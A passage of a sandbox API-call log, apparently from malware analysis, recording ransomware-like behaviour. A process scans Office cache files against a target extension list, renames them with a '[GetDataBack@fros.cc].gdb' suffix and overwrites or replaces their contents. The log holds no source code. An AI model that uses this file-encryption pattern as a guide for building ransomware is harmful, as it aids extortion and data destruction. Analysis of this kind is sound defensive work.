lpString2=".MST") returned 1 [0127.029] lstrlenW (lpString=".xlsx") returned 5 [0127.029] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0127.029] lstrlenW (lpString=".ppt") returned 4 [0127.029] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString=".zip") returned 4 [0127.029] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0127.029] lstrlenW (lpString=".rar") returned 4 [0127.029] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0127.029] lstrlenW (lpString=".bz2") returned 4 [0127.029] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0127.029] lstrlenW (lpString=".7z") returned 3 [0127.029] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString=".dbf") returned 4 [0127.029] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString=".1cd") returned 4 [0127.029] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString=".jpg") returned 4 [0127.029] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0127.030] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0127.030] lstrlenW (lpString="AccessMUI.msi") returned 13 [0127.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.031] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2517504) returned 1 [0127.031] CloseHandle (hObject=0x1fc) returned 1 [0127.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0127.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.031] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0127.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0127.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0127.032] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0127.034] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0127.034] ReadFile (in: hFile=0x1fc, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0127.042] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.042] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0127.042] ReadFile (in: hFile=0x1fc, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0127.323] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.323] WriteFile (in: hFile=0x1fc, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0106, lpOverlapped=0x0) returned 1 [0127.568] SetEndOfFile (hFile=0x1fc) returned 1 [0127.573] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0127.573] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0127.755] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0127.755] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0127.762] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0127.762] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0127.768] CloseHandle (hObject=0x1fc) returned 1 [0127.768] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.769] lstrlenW (lpString=".doc") returned 4 [0127.769] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.769] lstrlenW (lpString=".docx") returned 5 [0127.769] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0127.769] lstrlenW (lpString=".pdf") returned 4 [0127.769] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.769] lstrlenW (lpString=".xls") returned 4 [0127.769] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.769] lstrlenW (lpString=".xlsx") returned 5 [0127.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0127.769] lstrlenW (lpString=".ppt") returned 4 [0127.769] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.769] lstrlenW (lpString=".zip") returned 4 [0127.769] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.769] lstrlenW (lpString=".rar") returned 4 [0127.769] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.769] lstrlenW (lpString=".bz2") returned 4 [0127.769] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.769] lstrlenW (lpString=".7z") returned 3 [0127.769] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".dbf") returned 4 [0127.770] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".1cd") returned 4 [0127.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".jpg") returned 4 [0127.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".doc") returned 4 [0127.770] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString=".docx") returned 5 [0127.770] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0127.770] lstrlenW (lpString=".pdf") returned 4 [0127.770] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.770] lstrlenW (lpString=".xls") returned 4 [0127.770] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.770] lstrlenW (lpString=".xlsx") returned 5 [0127.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0127.770] lstrlenW (lpString=".ppt") returned 4 [0127.770] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".zip") returned 4 [0127.770] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.770] lstrlenW (lpString=".rar") returned 4 [0127.770] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.770] lstrlenW (lpString=".bz2") returned 4 [0127.770] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString=".7z") returned 3 [0127.770] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".dbf") returned 4 [0127.770] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".1cd") returned 4 [0127.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0127.770] lstrlenW (lpString=".jpg") returned 4 [0127.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.771] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0127.771] lstrlenW (lpString="ose.exe") returned 7 [0127.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.771] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=174440) returned 1 [0127.771] CloseHandle (hObject=0x1fc) returned 1 [0127.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0127.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.771] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.772] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0127.772] GetLastError () returned 0x0 [0127.772] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x2a968, lpOverlapped=0x0) returned 1 [0127.777] WriteFile (in: hFile=0x1c0, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x2a970, lpOverlapped=0x0) returned 1 [0127.782] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0127.782] WriteFile (in: hFile=0x1c0, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xe2, lpOverlapped=0x0) returned 1 [0127.782] SetEndOfFile (hFile=0x1c0) returned 1 [0127.782] CloseHandle (hObject=0x1c0) returned 1 [0127.782] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.782] SetEndOfFile (hFile=0x1fc) returned 1 [0127.784] CloseHandle (hObject=0x1fc) returned 1 [0127.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.785] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0127.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.785] lstrlenW (lpString=".doc") returned 4 [0127.785] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0127.785] lstrlenW (lpString=".docx") returned 5 [0127.785] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0127.785] lstrlenW (lpString=".pdf") returned 4 [0127.786] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString=".xls") returned 4 [0127.786] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString=".xlsx") returned 5 [0127.786] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0127.786] lstrlenW (lpString=".ppt") returned 4 [0127.786] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString=".zip") returned 4 [0127.786] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString=".rar") returned 4 [0127.786] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString=".bz2") returned 4 [0127.786] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0127.786] lstrlenW (lpString=".7z") returned 3 [0127.786] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString=".dbf") returned 4 [0127.786] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString=".1cd") returned 4 [0127.786] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString=".jpg") returned 4 [0127.786] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.786] lstrlenW (lpString=".doc") returned 4 [0127.786] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0127.787] lstrlenW (lpString=".docx") returned 5 [0127.787] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0127.787] lstrlenW (lpString=".pdf") returned 4 [0127.787] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0127.787] lstrlenW (lpString=".xls") returned 4 [0127.787] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0127.787] lstrlenW (lpString=".xlsx") returned 5 [0127.787] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0127.787] lstrlenW (lpString=".ppt") returned 4 [0127.787] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0127.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.787] lstrlenW (lpString=".zip") returned 4 [0127.787] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0127.787] lstrlenW (lpString=".rar") returned 4 [0127.787] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0127.787] lstrlenW (lpString=".bz2") returned 4 [0127.787] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0127.787] lstrlenW (lpString=".7z") returned 3 [0127.787] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0127.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.787] lstrlenW (lpString=".dbf") returned 4 [0127.787] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0127.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.787] lstrlenW (lpString=".1cd") returned 4 [0127.787] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0127.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0127.787] lstrlenW (lpString=".jpg") returned 4 [0127.787] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0127.787] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0127.788] lstrlenW (lpString="osetup.dll") returned 10 [0127.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.788] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=7378792) returned 1 [0127.788] CloseHandle (hObject=0x1fc) returned 1 [0127.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0127.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.788] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0127.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0127.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0127.789] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.008] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0128.008] ReadFile (in: hFile=0x1fc, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.011] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.011] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0128.012] ReadFile (in: hFile=0x1fc, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.044] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0128.044] WriteFile (in: hFile=0x1fc, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0100, lpOverlapped=0x0) returned 1 [0128.246] SetEndOfFile (hFile=0x1fc) returned 1 [0128.249] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0128.249] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.250] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 